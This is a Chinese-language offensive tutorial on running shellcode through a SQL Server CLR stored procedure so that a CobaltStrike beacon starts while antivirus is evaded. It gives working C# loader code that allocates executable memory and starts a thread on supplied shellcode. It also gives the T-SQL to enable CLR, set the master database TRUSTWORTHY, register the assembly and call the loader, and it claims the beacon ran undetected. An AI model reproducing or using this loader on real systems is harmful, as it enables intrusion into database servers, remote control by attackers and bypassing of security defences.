介绍
首先介绍下mssql执行命令的常用方式如:xp_cmdshell, SP_OACREATE,CLR
xp_cmdshell:
xp_cmdshell
是 SQL Server 中的一个系统存储过程,允许用户通过 SQL Server 执行 Windows 操作系统命令,当调用 xp_cmdshell
时,可以传递一个字符串参数,该参数是要执行的 Windows 命令。xp_cmdshell
将这个命令传递给 Windows 操作系统的cmd.exe执行并返回运行结果,从而执行系统命令。
SP_OACREATE:
SP_OACREATE
是 SQL Server 中的一个系统存储过程,它用于创建 OLE 对象。OLE(Object Linking and Embedding),允许应用程序共享数据和功能。通过 SP_OACREATE
,可以在 SQL Server 中创建和使用 COM(Component Object Model)对象。从而执行系统命令
CLR:
CLR(Common Language Runtime)
使用 .NET Framework 语言编写代码,并在 SQL Server 数据库引擎中执行这些代码。CLR
集成可以在 SQL Server 中运行托管代码。当 SQL Server 需要执行这些对象时,CLR
会加载并运行它们。执行过程中 SQL Server 将调用传递给 CLR
执行代码,并将结果返回给 SQL Server。从而达到执行系统命令
上面的方法执行命令会调用cmd,安全软件会进行拦截,接下来介绍一种可以绕过安全软件上线CobaltStrike的方法
开始
Visual Studio配置
在Visual Studio 中我们安装数据存储和处理工具集
项目配置
创建新的项目,选择SQL Server 数据库项目
右键点击项目属性
在项目设置中选择目标数据的版本,勾选”创建脚本.sql文件”
在SQLCLR中选择目标数据库的.net版本,选择权限级别为UNSAFE
新建项目,选择SQL CLR C#存储过程
代码
开始编写代码
using System;
using Microsoft.SqlServer.Server;
using System.Runtime.InteropServices;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void shellcode_loader(string sc)
{
// 在此处放置代码
SqlContext.Pipe.Send(shellcode_exec(sc));
}
public static string shellcode_exec(string sc)
{
byte[] sa = new byte[1000];
int shellcode_len = sc.Length / 2;
for (int i = 0; i < shellcode_len; i++)
{
string code = "0x" + sc.Substring(i * 2, 2);
int a = Convert.ToInt32(code, 16);
sa[i] = (byte)a;
}
UInt32 shellcodeAddress = VirtualAlloc(0, (UInt32)sa.Length, 0x1000, 0x40);
Marshal.Copy(sa, 0, (IntPtr)(shellcodeAddress), sa.Length);
CreateThread(0, 0, shellcodeAddress, 0, 0, 0);
return "";
}
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern UInt32 CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, UInt32 lpParameter, UInt32 dwCreationFlags, UInt32 lpThreadId);
}
选择点击启动
执行
在:你的项目名称\bin\Release路径下,项目名称.sql中找到以下
GO
CREATE ASSEMBLY [你项目的名字]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000
在数据库中执行
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
ALTER DATABASE master SET TRUSTWORTHY ON;
GO
CREATE ASSEMBLY [你项目的名字]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000
GO
CREATE PROCEDURE [dbo].[shellcode_loader]
@sc NVARCHAR (MAX)
AS EXTERNAL NAME [你项目的名字].[StoredProcedures].[shellcode_loader]
生成shellcode(注意:payload的位数一定要与数据库的位数相同,不然会导致数据库崩溃)
执行,注意去掉转义序列"\x"
exec shellcode_loader 'shellcode'
上线
成功上线且没有报毒
注意
1.在SQL Server 2016及更高版本中,由于安全策略会导致数据库的连接中断
2.payload的位数一定要与数据库的位数相同,不然会导致数据库崩溃
参考
https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit
https://macchiato.ink/web/web_security/mssqlclr_bypass/
https://y4er.com/posts/mssql-execute-command-with-clr-assemblies/